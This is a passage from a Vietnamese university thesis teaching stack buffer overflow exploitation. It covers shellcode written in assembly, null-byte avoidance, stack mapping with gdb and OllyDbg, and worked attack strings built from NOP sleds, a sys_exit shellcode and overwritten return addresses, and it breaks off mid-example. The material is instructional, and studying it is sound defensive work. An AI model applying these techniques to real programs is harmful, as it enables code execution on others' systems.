Shellcodesys_exit()dạng hexa: "\x31\xdb\xb0\x01\xcd\x80".
Shellcode dạng Alphanumeric: “1Û°Í€pqesaba”
Shellcode được thể hiện bằng mã máy (Byte-code), gồm một nhóm các lệnh tuần
tự, do đó máy tính có thể hiểu được và thực thi trực tiếp Shellcode mà không cần biên
dịch. Một số phương pháp để tạo ra Shellcode:
+ Viết trực tiếp Shellcode sử dụng tập lệnh VXL bằng mã máy. Cách này yêu cầu
am hiểu rất sâu về mã máy.
+ Viết tập lệnh bằng mã hợp ngữ (Assembly), sau đó dùng trình biên dịch và
trích ra Shellcode.
+ Viết tập lệnh bằng ngôn ngữ lập trình bậc cao hơn (có thể là C, hoặc C++) sau
đó dùng trình biên dịch chuyển sang mã hợp ngữ, cuối cùng từ mã hợp ngữ trích rút ra
Shellcode. Cách này có vẻ đơn giản nhưng ít được sử dụng do mã Shellcode sinh ra
thường có dung lượng lớn hơn rất nhiều so với Shellcode sinh ra bằng 2 cách trên.
Cách thông thường để tạo Shellcode đó là viết mã bằng hợp ngữ rồi sau đó sử
dụng trình biên dịch và trích xuất ra mã máy. Khi đó, cần lưu ý đến việc cách gọi các
hàm hệ thống trên HĐH họ Linux và HĐH họ Windows là khác nhau.
Các HĐH họ Linux cung cấp cách trực tiếp để giao tiếp với nhân của HĐH thông
qua giao tiếp int 0x80. Khi lệnh int 0x80 được thực thi bởi người dùng, CPU sẽ
chuyển sang chế độ nhân và thực thi System call. Trong khi đó ở các HĐH họ
Windows không có giao tiếp trực tiếp tới nhân của HĐH. Muốn giao tiếp với lời gọi
hệ thống cần phải tải các địa chỉ hàm cần thực thi thông qua một DLL (Dynamic Link
Library).
Do vậy, địa chỉ các hàm hệ thống của các HĐH họ Linux là không thay đổi, trong
khi đó địa chỉ các hàm hệ thống của các HĐH Windows có thể thay đổi theo từng
phiên bản.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 30
2.3.1. Tạo Shellcode trên các HĐH họ Linux
Để gọi một hàm hệ thống ( sys_call() ) thông qua ngắt int 0x80 cần thực hiện
các công việc sau:
- Đặt các đối số của hàm vào lần lượt các thanh ghi ebx, ecx, edx, esx, edi
(nếu cần)
- Đặt mã của hàm vào thanh ghi eax
- Thực hiện lời gọi tới ngắt int 0x80
Kết quả thực hiện của sys_call() sẽ được lưu trữ trong thanh ghi eax
Danh sách các lời gọi hệ thống của HĐH họ Linux có thể tham khảo khi tìm kiếm
với từ khóa “Linux System call tables” một số website tham khảo [13]
Ví dụ 3: Mã Assembly thực thi hàm system_exit(): exit.asm
section .text
global _start
_start:
mov ebx, 0 ; doi so dat vao la 0
mov eax, 1 ; ma cua ham sys_exit() la 1
int 0x80 ; thuc thi ham
Sau đó biên dịch và sử dụng trình debug (objdump) trích xuất mã như Hình 6.
Hình 6: Trích xuất Shellcode bằng objdump (Linux)
Khi đó, Shellcode trích xuất được sẽ là:
char[] shellcode_exit = “\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80”
Shellcode thực thi hàm system_exit() ta vừa lấy được có 12 Byte dung lượng.
Tuy nhiên, bằng một số phương pháp ta có thể vừa giảm được dung lượng Shellcode
cũng như loại bỏ đi các Byte NULL (0x00) trong Shellcode. Vấn đề dung lượng và các
Byte NULL (0x00) chứa trong Shellcode là rất quan trọng và sẽ được đề cập trong các
phần tiếp theo.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 31
2.3.2. Cách viết Shellcode trên các HĐH họ Windows
Như ta đã biết, để có thể lấy được địa chỉ của hàm hệ thống trong các HĐH họ
Windows cần thông qua một thư viện DLL. Địa chỉ của hàm sẽ được tính bằng địa chỉ
KERNEL + địa chỉ con trỏ của hàm.
Để gọi một hàm hệ thốngcần thực hiện các công việc sau:
- Lấy địa chỉ của hàm hệ thống thông qua một thư viện DLL tương ứng
- Đặt địa chỉ hàm cần thực thi vào một thanh ghi
- Đặt ngược các đối số vào Stack thông qua push
- Thực hiện lời gọi hàm thông qua lệnh call.
Ví dụ: Tạo shellcode thực hiện Sleep tiến trình 5000ms
Bước 1: Lấy địa chỉ hàm Sleep trong kernel32.dll bằng chương trình arwin.exe
theo như phụ lục 1 [17] trên HĐH window XP sp2 như Hình 7.
Hình 7: Lấy địa chỉ sys_call bằng arwin.exe
Bước 2: Viết mã Assembly thực hiện Sleep chương trình 5000ms: sleep.asm
[15]. Mã Assembly được mô tả như trong ví dụ 4.
Ví dụ 4: Mã Assembly chương trình sleep.asm
;sleep.asm
.MODEL Tiny
.CODE
Jmp Start
Start:
xor ax,ax
mov bx, 7c802442h ;address of Sleep
mov ax, 5000 ;pause for 5000ms
push ax
call bx ;Sleep(ms);
End Start
Bước 3: Sử dụng chương trình dịch (A86 Macro Assembly/Macro Assembly) để
biên dịch từ file .asm sang dạng tập tin đối tượng (*.obj).
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 32
Bước 4: Sử dụng trình debug (Sygnus, Ollydmg) để trích xuất Shellcode từ file
tập tin đối tượng (*.obj). Phương thức trích xuất cũng giống như ví dụ ở HĐH Linux
2.3.3. Các vấn đề cần lưu ý khi viết Shellcode [22]
Việc viết Shellcode thông thường không quá khó, tuy nhiên điểm khó nhất ở chỗ
là viết sao cho Shellcode sinh ra có dung lượng nhỏ nhất và Shellcode được thực thi
hoàn toàn trên máy tính cần tấn công. Do đó, trong khi tạo ra Shellcode cần lưu ý một
số vấn đề như sau:
* Vấn đề xuất hiện các Byte NULL (0x00) trong Shellcode:
Giả sử trong đoạn Shellcode trích xuất ra được xuất hiện byte NULL (0x00), khi
chèn Shellcode vào trong bộ đệm và Shellcode được đọc để thực thi, thì khi gặp các
Byte NULL các hàm đọc dữ liệu (gets(), strcpy(), .. ) sẽ dừng lại. Do đó các lệnh
nằm sau Byte NULL trong Shellcode sẽ không được ghi vào bộ đệm, dẫn đến việc
chương trình tấn công không hoàn thành mục đích hoặc có thể là bị huỷ bỏ. Do đó, khi
viết Shellcode không để xuất hiện các Byte NULL.
Việc xuất hiện Byte NULL trong Shellcode thường có 2 nguyên nhân:
+ Chuỗi DATA gây ra Byte NULL: Ví dụ chuỗi: “ssssss”, hoặc “0x00” sẽ gây
ra Byte NULL trong Shellcode.
+ Chọn lệnh hoặc thanh ghi không phù hợp: Ví dụ lệnh mov ebx,0.
Để xử lý có nhiều cách nhưng thường và đơn giản nhất là thay thế các lệnh hoặc
chuỗi gây ra Byte NULL bằng các chuỗi hoặc lệnh khác có ý nghĩa tương đương. Ví
dụ:
+ Thêm Byte NULL vào cuối chuỗi để tạo ra Shellcode không chứa Byte NULL
trong khi chuỗi DATA được đọc vào không thay đổi. Ví dụ đối với chuỗi “ssssss” sẽ
thay bằng chuỗi “ssssss#”.
+ Sử dụng lệnh xor một thanh ghi cho chính thanh ghi đó để gán giá trị 0 cho
thanh ghi. Ví dụ: thay mov ebx, 0 bằng xor ebx, ebx.
+ Sử dụng thanh ghi 8bit thấp để gán giá trị thay vì sử dụng thanh ghi 16bit nếu
có thể. Ví dụ: thay mov eax, 1 bằng mov al, 1.
* Vấn đề về địa chỉ của các tham số truyền cho hàm:
Các tham số cần truyền cho hàm cần phải được đưa vào trong bộ nhớ trước khi
gọi hàm, và ta cần phải biết địa chỉ bộ nhớ lưu trữ chúng để truyền cho hàm. Có thể
thực hiện các bước sau để lấy được địa chỉ của tham số:
+ PUSH trực tiếp vào Stack, sau đó lưu giá trị: Ta sẽ push tham số hoặc biến vào
Stack. Khi đó giá trị địa chỉ của biến hoặc tham số vừa push vào sẽ lưu trữ trên thanh
ghi ESP (thanh ghi con trỏ Stack). Cơ chế lấy địa chỉ tham số bằng cách PUSH trực
tiếp vào Stack được mô tả như trong Ví dụ 5.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 33
Ví dụ 5: Chương trình demoPushStack.asm
[SECTION .text]
global _start
_start:
xor eax,eax
xor ebx,ebx
cdq
;push tu phai sang trai
;reverse gia tri truoc khi push
push eax ; dat ket thuc chuoi. Co the ko can
push 0x34333231 ; 4321
push 0x64636261 ; dcba
mov ecx, esp ; ecx tro den chuoi abcd1234null
mov dl,8
mov al,4
mov bl,1
int 0x80
;thoat chuong trinh
xor ebx,ebx
mov al,1
int 0x80
2.4. Tấn công thực thi Shellcode lợi dụng lỗi tràn bộ đệm trên Stack
Trên cơ sở nghiên cứu cơ chế tràn bộ đệm trên Stack trong mục trên, việc tràn bộ
đệm trên Stack dẫn đến việc ghi đè dữ liệu về địa chỉ lệnh trả về (RET). Trong phần
này chúng ta sẽ tiếp tục nghiên cứu việc sử dụng thay đổi địa chỉ lệnh trả về (RET) để
khai thác lỗi tràn bộ đệm nhằm thay đổi luồng thực thi của chương trình, từ đó thực thi
đoạn mã Shellcode theo yêu cầu.
Để thực thi Shellcode ta có thể đặt Shellcode cần thực thi vào bộ nhớ đệm
(Buffer), sau đó tiến hành làm tràn bộ nhớ và ghi đè lên địa chỉ trả về của hàm để nó
trỏ vào Buffer nơi chứa Shellcode. Phương pháp này tương đối đơn giản để có thể thực
thi Shellcode nếu ta nắm được mã nguồn chương trình.
Về lý thuyết chúng ta cần phải biết chính xác địa chỉ của Shellcode trong Stack.
Tuy nhiên điều này trong thực tế gần như là không khả thi vì địa chỉ thực tế được cấp
phát của các đối tượng trong Stack có thể bị thay đổi vì rất nhiều lý do, như thiết lập
của HĐH, do thiết lập của trình biên dịch,... Trong khi chỉ cần gán địa chỉ IP sai lệch
dù chỉ 1 Byte cũng sẽ gây ra lỗi. Vì vậy, để tăng xác suất thực thi thành công
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 34
Shellcode, có thể chèn thêm các lệnh NOP (“\90”) vào trước Shellcode. Khi con trỏ
lệnh IP gặp lệnh NOP, nó sẽ không làm gì cả và tự động tăng giá trị địa chỉ lên để tìm
kiếm lệnh cần thực thi gần nhất. Cách này tuy đơn giản nhưng làm cho khả năng
Shellcode được thực thi tăng lên rất nhiều và cho thấy rất hiệu quả trong thực tế [11].
Ngoài ra, trong trường hợp Shellcode có độ lớn lớn hơn dung lượng của bộ nhớ
đệm (Buffer) ta có thể đặt chúng vào biến môi trường (Environment Variable), sau đó
ghi đè lên địa chỉ trả về với địa chỉ của biến môi trường mà ta đặt Shellcode vào. Đặc
điểm của phương pháp này là có thể tạo biến môi trường với dung lượng tuỳ biến, tuy
nhiên chỉ có thể thực hiện khi người tấn công có quyền truy cập vào các biến môi
trường [2].
Các đặc điểm của Stack tạo điều kiện cho khai thác lỗ hổng tràn bộ đệm:
- Stack luôn bắt đầu tại cùng một địa chỉ cho mọi chương trình và HĐH.
- Stack luôn luôn không quá lớn: Phần lớn các chương trình không bao giờ đặt
quá vài trăm hoặc vài nghìn Byte vào Stack tại một thời điểm bất kỳ.
Do các đặc điểm nêu trên, dải địa chỉ mà phải phán đoán khi muốn tiến hành khai
thác và tấn công lợi dụng lỗ hổng tràn bộ đệm thực sự là khá nhỏ.
Để có thể tiến hành tấn công lợi dụng lỗ hổng tràn bộ đệm, ta sẽ phải giải
quyết các vấn đề như sau:
- Viết mã độc: Vấn đề viết mã độc đòi hỏi kinh nghiệm và hiểu biết sâu về các
ngôn ngữ như C, Assembly. Shellcode là một kiểu đặc biệt của mã độc và đã được mô
tả như ở phần 2.3.
- Chèn mã độc: Cần thiết phải chèn mã độc vào bộ nhớ của chương trình mục
tiêu. Vấn đề này có thể thực hiện được nếu ta có thể kiểm soát được nội dung của bộ
đệm trong chương trình mục tiêu. Ví dụ như: Một số chương trình sẽ lấy dữ liệu từ
file, gói tin, đối số, …. và nạp trực tiếp vào bộ đệm. Do vậy, ta có thể đặt mã độc vào
file, gói tin, tham số dòng lệnh, … và đưa vào chương trình mục tiêu.
- Nhảy tới thực hiện mã độc: Khi các mã độc đã nằm trong bộ nhớ, nếu thanh ghi
lệnh của chương trình mục tiêu chứa địa chỉ trỏ tới điểm bắt đầu của mã độc, mã độc
sẽ có thể được thực thi.
Các bước tấn công thực thi Shellcode lợi dụng lỗ hổng tràn bộ đệm trên một
chương trình:
- Tìm chương trình chứa lỗ hổng tràn bộ đệm.
- Xác định cấu trúc Stack mà chương trình sử dụng.
- Tạo mã Shellcode muốn thực thi.
- Tạo chuỗi Input khai thác lỗi tràn bộ đệm để chèn và thực thi mã Shellcode.
Phần tiếp theo mô tả chi tiết các bước thực hiện tấn công ở trên.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 35
2.4.1. Tìm chương trình chứa lỗ hổng tràn bộ đệm
Để có thể tìm ra một chương trình chứa lỗi tràn bộ đệm, có thể sử dụng một trong
hai cách: Tìm lỗ hổng tràn bộ đệm bằng mã nguồn của chương trình (Trong trường
hợp ta nắm được mã nguồn) và tìm lỗ hổng tràn bộ đệm bằng thử nghiệm (Có thể sử
dụng công cụ hoặc bằng cách thủ công). Sau đây sẽ trình bày hai phương pháp tìm lỗ
hổng tràn bộ đệm một cách cơ bản nhất.
2.4.1.1. Tìm lỗ hổng tràn bộ đệm bằng mã nguồn
Lỗ hổng tràn bộ đệm có thể tồn tại trong các chương trình bởi bộ đệm của
chương trình không được kiểm tra và bảo vệ trong quá trình thực thi. Nguyên nhân là
do người lập trình sử dụng các ngôn ngữ lập trình có những hàm thư viện không an
toàn khi xử lý với bộ đệm, khiến bộ đệm có thể bị “tràn”. Ngôn ngữ lập trình phổ biến
nhất và cũng là ngôn ngữ lập trình chứa nhiều hàm thư viện xử lý với bộ đệm không
an toàn là C và C++. Ta có thể tham khảo các hàm trong C/C++ có thể gây lỗi tràn bộ
đệm được nêu trong Hình 8.
Function to be wary of:
gets()
strcpy()
strcat()
sprintf()
scanf()
sscanf()
fscanf()
vfscanf()
vsscanf()
streadd()
strecpy()
strtrns()
realpath()
syslog()
getout()
getout_long()
getpass()
getchar()
fsgetc()
getc()
read()
bcopy()
fgets()
memcpy()
snprintf()
strccpy()
strcadd()
strncpy()
vnsprintf()
Hình 8: Các hàm xử lý bộ đệm không an toàn trong C/C++ [1]
Vậy nếu trong mã nguồn chương trình có sử dụng những hàm như trên, thì có khả
năng tồn tại một lỗ hổng tràn bộ đệm tồn tại trong trương trình, và lỗ hổng đó có thể
được kẻ tấn công khai thác để tấn công vào chương trình hoặc hệ thống.
2.4.1.2. Tìm lỗ hổng tràn bộ đệm bằng thử nghiệm
Trong phương pháp này, việc tiến hành tìm lỗ hổng tràn bộ đệm là đưa các bộ dữ
liệu lớn vào các trường đầu vào của chương trình và quan sát phản hồi từ chương trình
hoặc HĐH. Đối với các chương trình được thiết kế tốt các dữ liệu không mong muốn
sẽ được quản lý bằng các ngoại lệ, còn đối với các trường hợp có sự can thiệp của
HĐH thì đó có thể là một lỗ hổng tiềm ẩn trong chương trình.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 36
Chương trình tồn tại lỗ hổng tràn bộ đệm sẽ cho phép xảy ra tình trạng bộ đệm bị
tràn trong một số trường hợp. Khi đó, do cơ chế phát hiện tràn bộ đệm của HĐH hoặc
do chương trình truy xuất vào các vùng địa chỉ không được phép, HĐH sẽ tiến hành
ngăn chặn hoạt động bình thường của chương trình và phát ra thông báo. Ta có thể dựa
vào các trường hợp kiểm tra và dựa vào thông báo của HĐH để phát hiện chương trình
tồn tại lỗ hổng tràn bộ đệm.
2.4.1.3. Ví dụ tìm thấy lỗ hổng tràn bộ đệm trên HĐH họ Linux
Lỗi tràn bộ đệm nếu xuất hiện trên các HĐH họ Linux sẽ HĐH đưa ra chỉ một
thông báo: Segmentation fault (core dumped)mà không kèm mô tả chi tiết, như
Hình 9 (HĐH Ubuntu 12.04 LTS) .
Hình 9: Phát hiện lỗ hổng tràn bộ đệm trên chương trình HĐH họ Linux
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 37
2.4.1.4. Ví dụ tìm thấy lỗ hổng tràn bộ đệm trên HĐH Windows XP
Ở các phiên bản HĐH Windows XP, lỗi tràn bộ đệm khi bị phát hiện sẽ được
HĐH đưa ra thông báo và mô tả chi tiết hơn về dữ liệu hiện thời của con trỏ IP đã bị
ghi đè. Thông báo của các phiên bản HĐH Windows XP có dạng như Hình 10.
Hình 10: Phát hiện lỗ hổng tràn bộ đệm trên HĐH họ Windows
Ngoài ra, việc tìm lỗ hổng tràn bộ đệm trong thực tế có thể do vô tình hoặc chủ ý
dò tìm của kẻ tấn công, kẻ tấn công còn có thể sử dụng các công cụ ẩn nhằm theo dõi,
lần theo vết thực hiện …Ngoài ra, việc nắm được lỗ hổng tràn bộ đệm của chương
trình cũng có thể thông qua các cá nhân, hoặc tổ chức phát hiện ra và phát tán.
2.4.2. Xác định cấu trúc Stack mà chương trình sử dụng
Sau khi tìm được lỗ hổng tràn bộ đệm trên chương trình, việc tiếp theo cần làm
đó là xác định cấu trúc Stack mà chương trình sử dụng. Cấu trúc Stack của chương
trình được cấp phát và đôi khi có thay đổi tùy thuộc vào nhiều thành phần: Ngôn ngữ
lập trình, trình biên dịch, hệ điều hành, cơ chế bảo vệ của HĐH….
Tuy nhiên, với cùng một file thực thi và với cùng một loại HĐH, địa chỉ bộ nhớ
ảo mà HĐH cấp phát cho chương trình thường không thay đổi (Trừ trường hợp HĐH
sử dụng cơ chế Address Space Layout Randomization địa chỉ cấp phát thay đổi theo
mối lần thực thi). Do đó việc xác định được chính xác cấu trúc Stack của chương trình
cần tiến hành tại thời điểm thực thi của chương trình, và tiến hành trên HĐH thử
nghiệm cần giống như HĐH muốn khai thác.Việc xác định được cấu trúc Stack của
chương trình đôi khi là không cần thiết, tuy nhiên giúp chúng ta hình dung rõ ràng về
cách cấp phát các thành phần trong Stack, làm cho tấn công chương trình được thực
hiện một cách tường minh hơn.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 38
Để xác định cấu trúc Stack của chương trình, có thể sử dụng các công cụ Debug
có khả năng Debug chương trình trong thời gian chạy như: gdb (Linux) hoặc OllyDmg
(Windows).
Xác định cấu trúc Stack của chương trình để tấn công gồm có:
- Xác định kích thước bộ đệm
- Xác định vị trí bộ đệm, SavedEBP, SavedEIP
* Ví dụ xác định cấu trúc Stack với
- Chương trình cần khai thác: demo4.exe
- Giả định đã tìm thấy tràn bộ đệm tới SavedEIP xảy ra khi thử nghiệm chuỗi đầu
vào > 24 ký tự.
2.4.2.1. Xác định cấu trúc Stack trên HĐH họ Linux (Ubuntu 12.04 LTS)
Sử dụng công cụ gdb để debug chương trình với đầu vào là chuỗi thử nghiệm gây
ra tràn bộ đệm. Chạy chương trình với chuỗi đầu vào
“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH” nhằm dễ dàng cho việc xác định vị trí và
kích thước của bộ đệm, SavedEIP, SavedEBP.
Quá trình truyền tham số cho chương trình nếu chương trình sử dụng bộ nhập
chuẩn, có thể sử dụng cách trao đổi thông tin liên tiến trình (interprocess
communication, IPC), do đó có thể truyền vào các ký tự đặc biệt cũng như sử dụng các
ngôn ngữ kịch bản để nhập dữ liệu vào cho chương trình (Ví dụ như Python).
Ví dụ 6: Truyền tham số cho chương trình bằng Python
$ gdb demo4
(gdb) r $(python –c ‘print “AAAABBBBCCCCDDDDEEEEFFFFGGGG” + “H”*4 ’)
Thông báo lỗi tràn bộ đệm xảy ra và cho biết giá trị của thanh ghi EIP. Từ đó ta
biết được các ký tự nào được tràn lên trên SavedEIP và ước lượng được độ rộng của
bộ đệm.
Sau khi xảy ra tràn bộ đệm, tiến hành xem thông tin bộ nhớ lân cận địa chỉ trong
thanh ghi ESP. Khi tràn bộ đệm xảy ra, HĐH sẽ đưa địa chỉ bộ nhớ trong thanh ghi
ESP về địa chỉ SP của Stack Frame của hàm ngay trước hàm bị xảy ra lỗi tràn bộ đệm.
Do đó cần xem thông tin bộ nhớ dựa trên độ lệch âm so với địa chỉ bộ nhớ trong thanh
ghi ESP hiện tại. Dữ liệu trong Stack sau khi bị tràn bằng chuỗi ký tự thử nghiệm nhập
vào sẽ có dạng như trong Hình 11.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 39
Hình 11: Dữ liệu trong Stack khi bị tràn trên Linux
Theo ví dụ trên,sau khi phân tích thông tin trong bộ nhớ ảo, ta có thể nhận thấy
SaveEIP được lưu tại địa chỉ 0xbffff2cc→0xbffff2d0, SavedEBP ở địa chỉ
0xbffff2c8→ 0xbfff2cc và bộ đệm có địa chỉ bắt đầu từ 0xbffff2b4.
2.4.2.2. Xác định cấu trúc Stack trên HĐH window (Window XP SP2)
* Sử dụng Ollydbg
Sử dụng công cụ debug Ollydbg để debug chương trình, kết quả thu được sẽ có
dạng như trong Hình 12.
Hình 12: Dữ liệu trong Stack khi bị tràn trên Windows
Với tham số truyền vào “A” * 16 + “1234” + “BBBBCCCCDDDD” chương trình bị
tràn với kết quả như trong Hình 12, ta cũng xác định được SaveEIP được lưu tại địa
chỉ 0x0022ff7c → 0x0022ff80, SavedEBP ở địa chỉ 0x0022ff78 → 0x0022ff7c
và bộ đệm có địa chỉ bắt đầu từ 0x0022ff60.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 40
2.4.3. Tạo mã Shellcode muốn thực thi
Mã Shellcode muốn thực thi sẽ phụ thuộc vào dung lượng bộ đệm của chương
trình đích và hệ điều hành. Dung lượng của Shellcode sẽ phải luôn luôn nhỏ hơn hoặc
ít nhất là bằng với dung lượng của bộ nhớ đệm đựơc cấp phát. Shellcode càng nhỏ thì
khả năng được thực thi càng lớn do có thể đặt được nhiều lệnh NOP đằng trước và
không bị mất mát khi đưa vào bộ đệm.
Việc tạo mã Shellcode đã được nêu chi tiết trong phần Shellcode 2.3.
2.4.4. Tạo chuỗi Input khai thác lỗi tràn bộ đệm để thực thi mã Shellcode
Khi chèn mã tấn công vào bộ đệm của chương trình, có hai cách đặt mã tấn công
trong Stack. Cách thứ nhất đó là đặt mã tấn công vào bộ đệm trong chính Stack Frame
của hàm bị tràn, và cách thứ hai là đặt mã tấn công vào Stack Frame của hàm trả về
của hàm bị tràn (Previous Stack Frame). Do vậy, Có hai cách thức để xây dựng chuỗi
mã tấn công, mỗi cách sẽ có những ưu, nhược điểm khác nhau. Sau đây sẽ đi sâu vào
trình bày hai cách thức xây dựng chuỗi mã tấn công này.
2.4.4.1. Xây dựng chuỗi với mã tấn công đặt tại Buffer của hàm bị tràn
Ta sẽ xây dựng chuỗi tấn công làm sao để StackFrame của chương trình bị tấn
công sẽ có dạng như Hình 13.
EIP register
[bufferAddress]
[bufferAddress] SavedEIP
SavedEBP
Shellcode
bufferAddress
Hình 13: Mô hình xây dựng chuỗi tấn công đặt tại buffer hàm bị tràn
Theo cách thức xây dựng này, mã tấn công sẽ được đặt trọn trong chính bộ đệm
bị tràn, phần dữ liệu bị tràn lên sẽ được sử dụng để ghi đè tới SavedEBP và SavedEIP
có địa chỉ cao hơn so với bộ đệm. Dữ liệu để ghi đè lên SavedEIP chính là địa chỉ bắt
đầu của bộ đệm mà Shellcode đặt trong đó.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 41
Do vậy, chuỗi input nên được xây dựng theo các nguyên tắc sau:
- Tổng dung lượng chuỗi tấn công = Buffer + savedEBP + savedEIP
- Chèn các Byte thừa ở đầu của Shellcode khi đặt vào Bufferbằng các 1 byte
NOP(“\x90”)đặt vào đầu chuỗi tấn công
- Đặt Shellcode vào chuỗi tấn công (NOP + Shellcode <= Buffer)
- Chèn các Byte thừa còn lại bằng các bộ 4 byte address bắt đầu bộ đệm
- Địa chỉ return tới bộ đệm ở dạng Hexa và PUSH ngược vào Stack
Áp dụng ví dụ khai thác trên HĐH Ubuntu 12.04 LTS, xây dựng chuỗi tấn công
với các điều kiện ban đầu lấy từ ví dụ trên như sau:
- Dung lượng bộ đệm: 20Byte
- Địa chỉ bắt đầu của bộ đệm: 0xbffff2b4
- Dung lượng làm tràn:
20Byte buffer + 4Byte savedEBP + 4Byte savedEIP = 24Byte
- Shellcode tấn công: "\x31\xdb\xb0\x01\xcd\x80" = 6Byte (sys_exit())
Xây dựng chuỗi tấn công:
- NOP: “\x90” * 10 (10Byte)
- Shellcode: "\x31\xdb\xb0\x01\xcd\x80" (6Byte)
- Address: “\xb4\xf2\xff\xbf” * 3 (12Byte)
ta có chuỗi tấn công(28Byte):
“\x90”*10 + "\x31\xdb\xb0\x01\xcd\x80" + “0xbffff2b4”*3
Sau khi chèn chuỗi tấn công vừa xây dựng được vào bộ đệm, dữ liệu trong Stack
sẽ có dạng như Hình 14.
EIP register
0xbffff2b4
\xb4\xf2\xff\xbf SavedEIP
\xb4\xf2\xff\xbf SavedEBP
\xb4\xf2\xff\xbf
\xb0\x01\xcd\x80
\x90\x90\x31\xdb
\x90\x90\x90\x90
\x90\x90\x90\x90 0xbffff2b4
Hình 14: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 42
Phương pháp này có ưu điểm là đơn giản, dung lượng chuỗi tấn công nhỏ và tấn
công một cách tường minh khi nắm rõ được cấu trúc của bộ nhớ đệm. Tuy nhiên,
nhược điểm là khả năng tấn công không cao khi mà phải biết chính xác địa chỉ của bộ
nhớ đệm và đôi khi điều này là không khả thi.
2.4.4.2. Xây dựng chuỗi với mã tấn công đặt tại chính Stack Frame của hàm bị tràn
Với cách tấn công này, phần dữ liệu đầu vào sẽ được sử dụng để làm tràn hết
StackFrame của hàm bị tràn, và sau đó phần Shellcode sẽ được làm tràn lên phần dữ
liệu của StackFrame hàm trước đó. Do đó, phần địa chỉ lưu trong SavedEIP của
StackFrame hàm bị tràn sẽ phải trỏ đến địa chỉ bắt đầu của Shellcode đặt trong Stack
(Chính là địa chỉ của ESP).
Phương pháp này chỉ khác phương pháp đặt Shellcode tại chính bộ đệm của
StackFrame bị tấn công, tuy nhiên ưu điểm của nó là ta có thể xác định được địa chỉ
của Shellcode thông qua địa chỉ của ESP của StackFrame trước đó (Previous
StackFrame). Mô hình sắp xếp chuỗi tấn công trong bộ nhớ được mô tả như Hình 15.
Buffer [Jump Address] Shellcode
SavedEBP SavedEIP
Hình 15: Mô hình xây dựng chuỗi tấn công đặt Shellcode lên Previous Stack Frame
Như ta đã biết, một khi chương trình xuất hiện tràn bộ đệm, con trỏ Stack hiện tại
sẽ tự động được trỏ về vị trí StackFrame của hàm trước đó. Do vậy, ta chỉ cần thực
hiện một lệnh JUMP ESP để trỏ thanh ghi lệnh (EIP) tới địa chỉ của ESP, hoặc đơn
giản hơn là trỏ thanh ghi lệnh tới một địa chỉ lệnh thực hiện lệnh JUMP ESP, khi đó
tiếp theo con trỏ lệnh sẽ trỏ vào các lệnh ở địa chỉ của ESP. Địa chỉ của lệnh JUMP
ESP sẽ sử dụng chính địa chỉ của lệnh JUMP ESP bất kỳ của chính chương trình, mà
địa chỉ lệnh này thường là sẽ không thay đổi với cùng một phiên bản của chương trình.
Do đó cách thức này có khả năng thực hiện cao hơn so với phương pháp đặt chuỗi tấn
công tại Buffer bị tràn của hàm.
ESP register
[jump Address] JUMP ESP
EIP register
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 43
Áp dụng ví dụ xây dựng chuỗi tấn công với các điều kiện ban đầu như sau:
- Dung lượng bộ đệm: 4Byte
- Shellcode: 6Byte
- Cấu trúc bộ đệm: 4Byte buffer → 4Byte SavedEBP → 4ByteSavedEIP → ESP
(ESP của Previous Frame)
Việc tìm địa chỉ của một lệnh JUMP ESP có sẵn của chương trình được thực hiện
dễ dàng bởi trình biên dịch thông qua các file .DLL của chính chương trình. Hình 16
mô tả một cách đơn giản để tìm với chương trình Ollydmp:
Hình 16: Tìm địa chỉ lệnh JUMP ESP trong file Executable bằng Ollydmg
Như vậy, chuỗi Shellcode xây dựng theo cách tấn công này như sau:
- NOP: “A” * 8 (8 Byte)
